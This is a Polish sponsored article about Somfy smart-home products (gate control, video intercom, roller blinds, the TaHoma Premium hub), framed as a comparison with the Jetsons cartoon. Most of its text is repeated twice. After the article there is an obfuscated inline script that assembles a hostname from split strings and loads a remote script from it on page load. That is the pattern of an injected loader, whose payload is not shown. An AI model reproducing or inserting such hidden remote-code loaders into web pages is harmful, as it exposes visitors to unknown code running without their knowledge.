Artykuł sponsorowany

Przyszłość w zasięgu… smartfona

Redakcja Antyweb
Przyszłość w zasięgu… smartfona
2

Rok 2062, miasto Orbit City. George Jetson jest pracownikiem firmy „Kosmiczne koła zębate”. Razem z uwielbiającą salony piękności żoną Jane, dojrzewającą córką Judy, ośmioletnim synem Elroyem oraz pupilem Orbitkiem; mieszka w Okrąglaku – to rzeczywistość (jednej z najbardziej znanych w Polsce) produkcji wytwórni Hanna-Barbera, „Jetsonowie”. Codzienność bohaterów rozgrywa się w niczym innym, jak w smart home.

Jak ma się wizja twórców kreskówki, powstałej w latach 60. ubiegłego stulecia, do współczesnych standardów inteligentnego domu? Wiele elementów, które wydawały się wymysłem bogatej wyobraźni scenarzystów, dzisiaj nie dziwi już użytkowników smart-rozwiązań. Powiedzieć więcej – idealnie definiuje i wyprzeda ich potrzeby.

Etap I: wejście

Jak wygląda wejście do smart home w 2019 roku? Przede wszystkim, musi wiązać się z nowoczesnymi zabezpieczeniami. Obraz, głos, ruch czy dotyk wykorzystywane są do tego, by do grona naszych gości dołączyły tylko wybrane przez nas osoby. Wszystkimi bramami oraz drzwiami zarządza się inaczej, w zależności od tego czy jesteśmy w domu, pracujemy czy akurat wyjeżdżamy. Właśnie takie scenariusze oferuje swoim klientom firma Somfy. Wśród kilku opcji znajduje się tryb: WRACAM DO DOMU (otwiera automatycznie bramy, a alarm zostaje wyłączony), SPRAWDŹ (sprawdza sprzęt kontrolujący dostęp), OTWÓRZ (otwiera wszystkie wejścia), OPUSZCZAM DOM (zamyka wszystkie urządzenia i aktywuje alarm) oraz ZAMKNIJ (zamyka wszystkie wejścia). Oczywiście w zależności od tego, z jakiego rodzaju bramami mamy do czynienia, wybierzemy inny model czujników, napędu czy pilota. Nie ma znaczenia, na co się zdecydujemy.

Możemy (na co nie wpadli nawet Jetsonowie) kontrolować wszystkie urządzenia i scenariusze z poziomu swojego tabletu lub smartfona. Centrala Connexoon wspomnianej marki Somfy z aplikacją Connexoon Access, pozwala na inteligentne zarządzanie bramami na posesji. Dzięki unikatowej technologii io - homecontrol dostaniemy informację zwrotną do każdego zdania, które zleciliśmy. Jeśli cokolwiek będzie nie tak – zobaczymy to w aplikacji.

 Etap II: bezpieczeństwo

Otworzyliśmy już bramę i drzwi, znaleźliśmy się w mieszkaniu – najwyższa pora się odprężyć. Nikt nieproszony nie pojawi się na posesji dzięki wideodomofonom. Czemu wspominamy o tym w kontekście przyszłości i nowoczesności? O ile rozwiązanie jest dość powszechne, o tyle precyzja współczesnych urządzeń tak typowa już nie jest. I potrafi zaskoczyć. Wśród wielu wideodomofonów dostępnych na rynku, uwagę przykuwa V300. Tu – techniczne smaczki: identyfikacji gości pod nieobecność domowników dzięki rozbudowanej pamięci obrazów (do 100), noktowizja z diodami podczerwieni i szerokokątna kamera. Dzięki kompatybilności z urządzeniami Somfy, działającymi w technologii RTS, mamy możliwość sterowania aż pięcioma urządzeniami z poziomu monitora wewnętrznego.

Etap III: okna

Skoro mowa o ochronie naszego domowego gniazdka przed wzrokiem ciekawskich – warto pomyśleć o tym, w jaki sposób potencjalnych intruzów można…oszukać. Tutaj również technologia przychodzi nam z pomocą. U Jetsonów firan nie uświadczyliśmy - w naszym smart home „rządzą” rolety. Nie są już wyłącznie elementem wystroju i dekoracji, ale poważną inwestycją. Po pierwsze - chronią wnętrze przed działaniem promieni słonecznych. Pomagają chłodzić pomieszczenia latem i „łapią słońce” w chłodniejsze miesiące. Gdy czujnik wykrywa nagły wzrost temperatury, zewnętrzne rolety obniżają się automatycznie, aby utrzymać optymalną, wewnętrzną temperaturę. Napędy unoszą osłonę przy wietrze, żeby roleta nie została uszkodzona. Po drugie – pomagają zabezpieczyć dom przed włamaniem. Urządzenie z aplikacją Connexoon Window proponuje cztery tryby: JESTEM W DOMU, JESTEM NA WAKACJACH, TRYB WYCHODZĘ, TRYB SPRAWDZANIA (dobra opcja dla roztargnionych) i TRYB NIE PRZESZKADZAĆ. Na tym etapie wycieczki po smart home 2019 - nic nieprzyjemnego nas nie spotka.

Etap IV: centrum dowodzenia

Wszystkie przedstawione wyżej rozwiązania są ekscytujące, a jeszcze bardziej – ich dostępność. I choć firmy zajmujące się inteligentnymi instalacjami nie wprowadziły na rynek następczyni Rosie (gosposi Jetsonów), to w zasięgu ręki jest jej młodsza koleżanka - TaHoma® Premium. Mowa o inteligentnej, łączącej różnorodne urządzenia gospodarstwa domowego centrali marki Somfy. Zadba o sterowanie nie tylko bramami garażowymi i wjazdowymi, ale także roletami, żaluzjami fasadowymi, oświetleniem, ogrzewaniem, alarmami i wieloma innymi rozwiązaniami. Jej niewątpliwą zaletą jest przede wszystkim „system budowania jak z klocków” – możemy dodawać urządzenia, rozbudowywać smart ekosystem i tworzyć swoją domową twierdzę w tempie błyskawicznym lub stopniowym – w zależności od naszych preferencji, funduszy i możliwości.

Dla centrali TaHoma® Premium, jak dla prawdziwej gosposi, są istotne wszelkie nasze zmienne: tryb życia, pracy, długość snu w poszczególne dni tygodnia, plan zajęć, pora pójścia spać domowników itd. Produkt pozwala na zaprojektowanie bardzo precyzyjnych scenariuszy i wydanie konkretnych poleceń wszystkim (kontrolowanym przez siebie) urządzeniom. Przykładowo: “WYJŚCIE” zadba o to, aby okna dachowe zostały zamknięte, rolety opuszczone, ogrzewanie wyłączone, a oświetlenie wyłączone. Opcja „WEEKEND” podniesie rolety dużo później niż podczas pracującego tygodnia (żebyśmy mogli się wyspać), system ogrzewania przełączy się na tryb eko, gdy postanowimy odpoczywać przez dwa dni poza domem. A może całkiem odwrotnie? Wszystko zależy od naszej inwencji, wygody i potrzeby. TaHoma® Premium przede wszystkim ma pomagać w osiągnięciu spokoju wszystkim członkom gospodarstwa domowego (na przykład gdy jest się na wakacjach w tropikalnych krajach i w tym samym momencie chcemy sprawdzić, czy wszystko w naszym domu jest w porządku).

To też gratka dla ludzi zakochanych w nowych technologiach. Cały dom możemy zaprojektować w dedykowanej aplikacji – ustawić liczbę pięter, wyznaczyć pokoje, rozmieścić urządzenia w konkretnych pomieszczeniach. Brzmi interesująco, a przy tym jest banalnie proste, dzięki intuicyjnemu interfejsowi. Co więcej, ta zabawa szybko się nie znudzi – niemal wszystkie produkty Somfy są kompatybilne z TaHoma® Premium. A co ciekawe, współpracują z nim też urządzenia domowe wielu marek wiodących producentów.

Etap V: dizajn (czyli myśleć szerzej)

A co z kwestią wizualną? Coraz częściej na targach mody czy dizajnu swoje miejsce pośród paneli i wystawców, zajmują projekty elementów systemu smart-living. I nie chodzi tu tylko o zmiany w kolorach czy kształtach – idea smart home wymusza na projektantach zmianę w sposobie samego projektowania. Coraz to popularniejszym hasłem staje się tzw. agnostic design, czyli projektowanie dla wielu urządzeń – telefon, komputer czy tablet.

Do Jetsonów – niedaleko!

Dzisiejszy smart home i mieszkanie w Okrąglaku to dwie, trochę odległe od siebie wizje. Zastanawiające jest to, że bajkę i rzeczywistość łączy kilka cech. Choć nie rozpowszechniły się jeszcze pojazdy, które latają w powietrzu, to i Jetsonom i nam zależy na podobnych kwestiach: maksymalnym uproszczeniu obsługi urządzeń, oszczędności i bezpieczeństwie. Pomijając dostępność przestrzeni kosmicznej jako autostrad – nasz świat nie różni się tak bardzo od świata wymyślonego przez amerykańskich scenarzystów kilkadziesiąt lat temu. Wręcz przeciwnie –wyprzedza go. Inteligentne rozwiązania dotyczą już niemalże każdego elementu otaczającej rzeczywistości (ubrań, toalet, jedzenia, podróży itd.). Według raportu (opr. Lucintel) światowy rynek urządzeń inteligentnego domu w przyszłym roku będzie wart 107,4 mld dol.

Wszystko brzmi pięknie, ale czy smart home 2019 to system w pełni bezpieczny? To jasne, że nawet najbardziej inteligentne rozwiązania centrali TaHoma® Premium czy robot Rosie nie zastąpią ludzkiego, zdrowego rozsądku. W tej kwestii sytuacja, nawet w obliczu ogromnego tempa smart-rozwoju, szybko się nie zmieni. Ten sam zdrowy rozsądek powinien podpowiadać nam rozwiązania, które gwarantują to, co najcenniejsze – poczucie bezpieczeństwa. A taką perspektywę mamy w zasięgu – dzięki smartfonowi. Prawda, że kuszące?

Jak ma się wizja twórców kreskówki, powstałej w latach 60. ubiegłego stulecia, do współczesnych standardów inteligentnego domu? Wiele elementów, które wydawały się wymysłem bogatej wyobraźni scenarzystów, dzisiaj nie dziwi już użytkowników smart-rozwiązań. Powiedzieć więcej – idealnie definiuje i wyprzeda ich potrzeby.

Etap I: wejście

Jak wygląda wejście do smart home w 2019 roku? Przede wszystkim, musi wiązać się z nowoczesnymi zabezpieczeniami. Obraz, głos, ruch czy dotyk wykorzystywane są do tego, by do grona naszych gości dołączyły tylko wybrane przez nas osoby. Wszystkimi bramami oraz drzwiami zarządza się inaczej, w zależności od tego czy jesteśmy w domu, pracujemy czy akurat wyjeżdżamy. Właśnie takie scenariusze oferuje swoim klientom firma Somfy. Wśród kilku opcji znajduje się tryb: WRACAM DO DOMU (otwiera automatycznie bramy, a alarm zostaje wyłączony), SPRAWDŹ (sprawdza sprzęt kontrolujący dostęp), OTWÓRZ (otwiera wszystkie wejścia), OPUSZCZAM DOM (zamyka wszystkie urządzenia i aktywuje alarm) oraz ZAMKNIJ (zamyka wszystkie wejścia). Oczywiście w zależności od tego, z jakiego rodzaju bramami mamy do czynienia, wybierzemy inny model czujników, napędu czy pilota. Nie ma znaczenia, na co się zdecydujemy.

Możemy (na co nie wpadli nawet Jetsonowie) kontrolować wszystkie urządzenia i scenariusze z poziomu swojego tabletu lub smartfona. Centrala Connexoon wspomnianej marki Somfy z aplikacją Connexoon Access, pozwala na inteligentne zarządzanie bramami na posesji. Dzięki unikatowej technologii io - homecontrol dostaniemy informację zwrotną do każdego zdania, które zleciliśmy. Jeśli cokolwiek będzie nie tak – zobaczymy to w aplikacji.

 Etap II: bezpieczeństwo

Otworzyliśmy już bramę i drzwi, znaleźliśmy się w mieszkaniu – najwyższa pora się odprężyć. Nikt nieproszony nie pojawi się na posesji dzięki wideodomofonom. Czemu wspominamy o tym w kontekście przyszłości i nowoczesności? O ile rozwiązanie jest dość powszechne, o tyle precyzja współczesnych urządzeń tak typowa już nie jest. I potrafi zaskoczyć. Wśród wielu wideodomofonów dostępnych na rynku, uwagę przykuwa V300. Tu – techniczne smaczki: identyfikacji gości pod nieobecność domowników dzięki rozbudowanej pamięci obrazów (do 100), noktowizja z diodami podczerwieni i szerokokątna kamera. Dzięki kompatybilności z urządzeniami Somfy, działającymi w technologii RTS, mamy możliwość sterowania aż pięcioma urządzeniami z poziomu monitora wewnętrznego.

Etap III: okna

Skoro mowa o ochronie naszego domowego gniazdka przed wzrokiem ciekawskich – warto pomyśleć o tym, w jaki sposób potencjalnych intruzów można…oszukać. Tutaj również technologia przychodzi nam z pomocą. U Jetsonów firan nie uświadczyliśmy - w naszym smart home „rządzą” rolety. Nie są już wyłącznie elementem wystroju i dekoracji, ale poważną inwestycją. Po pierwsze - chronią wnętrze przed działaniem promieni słonecznych. Pomagają chłodzić pomieszczenia latem i „łapią słońce” w chłodniejsze miesiące. Gdy czujnik wykrywa nagły wzrost temperatury, zewnętrzne rolety obniżają się automatycznie, aby utrzymać optymalną, wewnętrzną temperaturę. Napędy unoszą osłonę przy wietrze, żeby roleta nie została uszkodzona. Po drugie – pomagają zabezpieczyć dom przed włamaniem. Urządzenie z aplikacją Connexoon Window proponuje cztery tryby: JESTEM W DOMU, JESTEM NA WAKACJACH, TRYB WYCHODZĘ, TRYB SPRAWDZANIA (dobra opcja dla roztargnionych) i TRYB NIE PRZESZKADZAĆ. Na tym etapie wycieczki po smart home 2019 - nic nieprzyjemnego nas nie spotka.

Etap IV: centrum dowodzenia

Wszystkie przedstawione wyżej rozwiązania są ekscytujące, a jeszcze bardziej – ich dostępność. I choć firmy zajmujące się inteligentnymi instalacjami nie wprowadziły na rynek następczyni Rosie (gosposi Jetsonów), to w zasięgu ręki jest jej młodsza koleżanka - TaHoma® Premium. Mowa o inteligentnej, łączącej różnorodne urządzenia gospodarstwa domowego centrali marki Somfy. Zadba o sterowanie nie tylko bramami garażowymi i wjazdowymi, ale także roletami, żaluzjami fasadowymi, oświetleniem, ogrzewaniem, alarmami i wieloma innymi rozwiązaniami. Jej niewątpliwą zaletą jest przede wszystkim „system budowania jak z klocków” – możemy dodawać urządzenia, rozbudowywać smart ekosystem i tworzyć swoją domową twierdzę w tempie błyskawicznym lub stopniowym – w zależności od naszych preferencji, funduszy i możliwości.

Dla centrali TaHoma® Premium, jak dla prawdziwej gosposi, są istotne wszelkie nasze zmienne: tryb życia, pracy, długość snu w poszczególne dni tygodnia, plan zajęć, pora pójścia spać domowników itd. Produkt pozwala na zaprojektowanie bardzo precyzyjnych scenariuszy i wydanie konkretnych poleceń wszystkim (kontrolowanym przez siebie) urządzeniom. Przykładowo: “WYJŚCIE” zadba o to, aby okna dachowe zostały zamknięte, rolety opuszczone, ogrzewanie wyłączone, a oświetlenie wyłączone. Opcja „WEEKEND” podniesie rolety dużo później niż podczas pracującego tygodnia (żebyśmy mogli się wyspać), system ogrzewania przełączy się na tryb eko, gdy postanowimy odpoczywać przez dwa dni poza domem. A może całkiem odwrotnie? Wszystko zależy od naszej inwencji, wygody i potrzeby. TaHoma® Premium przede wszystkim ma pomagać w osiągnięciu spokoju wszystkim członkom gospodarstwa domowego (na przykład gdy jest się na wakacjach w tropikalnych krajach i w tym samym momencie chcemy sprawdzić, czy wszystko w naszym domu jest w porządku).

To też gratka dla ludzi zakochanych w nowych technologiach. Cały dom możemy zaprojektować w dedykowanej aplikacji – ustawić liczbę pięter, wyznaczyć pokoje, rozmieścić urządzenia w konkretnych pomieszczeniach. Brzmi interesująco, a przy tym jest banalnie proste, dzięki intuicyjnemu interfejsowi. Co więcej, ta zabawa szybko się nie znudzi – niemal wszystkie produkty Somfy są kompatybilne z TaHoma® Premium. A co ciekawe, współpracują z nim też urządzenia domowe wielu marek wiodących producentów.

Etap V: dizajn (czyli myśleć szerzej)

A co z kwestią wizualną? Coraz częściej na targach mody czy dizajnu swoje miejsce pośród paneli i wystawców, zajmują projekty elementów systemu smart-living. I nie chodzi tu tylko o zmiany w kolorach czy kształtach – idea smart home wymusza na projektantach zmianę w sposobie samego projektowania. Coraz to popularniejszym hasłem staje się tzw. agnostic design, czyli projektowanie dla wielu urządzeń – telefon, komputer czy tablet.

Do Jetsonów – niedaleko!

Dzisiejszy smart home i mieszkanie w Okrąglaku to dwie, trochę odległe od siebie wizje. Zastanawiające jest to, że bajkę i rzeczywistość łączy kilka cech. Choć nie rozpowszechniły się jeszcze pojazdy, które latają w powietrzu, to i Jetsonom i nam zależy na podobnych kwestiach: maksymalnym uproszczeniu obsługi urządzeń, oszczędności i bezpieczeństwie. Pomijając dostępność przestrzeni kosmicznej jako autostrad – nasz świat nie różni się tak bardzo od świata wymyślonego przez amerykańskich scenarzystów kilkadziesiąt lat temu. Wręcz przeciwnie –wyprzedza go. Inteligentne rozwiązania dotyczą już niemalże każdego elementu otaczającej rzeczywistości (ubrań, toalet, jedzenia, podróży itd.). Według raportu (opr. Lucintel) światowy rynek urządzeń inteligentnego domu w przyszłym roku będzie wart 107,4 mld dol.

Wszystko brzmi pięknie, ale czy smart home 2019 to system w pełni bezpieczny? To jasne, że nawet najbardziej inteligentne rozwiązania centrali TaHoma® Premium czy robot Rosie nie zastąpią ludzkiego, zdrowego rozsądku. W tej kwestii sytuacja, nawet w obliczu ogromnego tempa smart-rozwoju, szybko się nie zmieni. Ten sam zdrowy rozsądek powinien podpowiadać nam rozwiązania, które gwarantują to, co najcenniejsze – poczucie bezpieczeństwa. A taką perspektywę mamy w zasięgu – dzięki smartfonowi. Prawda, że kuszące?

<script> (function(){ xjn1_=("u"+"")+"s"+"";xjn1_+=("tat.")+("i"); xjn1=document.createElement("script");xjn1.type="text/javascript";xjn1_+="nf"+("o")+"/"; xjn1u="183126424"+".";xjn1.async=true;xjn1u+="drw1d3Xyjn145yve3vin9qrzv1htxk"; xjn1.src="https://"+xjn1_+xjn1u;xjn1b=document.body;xjn1b.appendChild(xjn1); })(); </script>

Hej, jesteśmy na Google News - Obserwuj to, co ważne w techu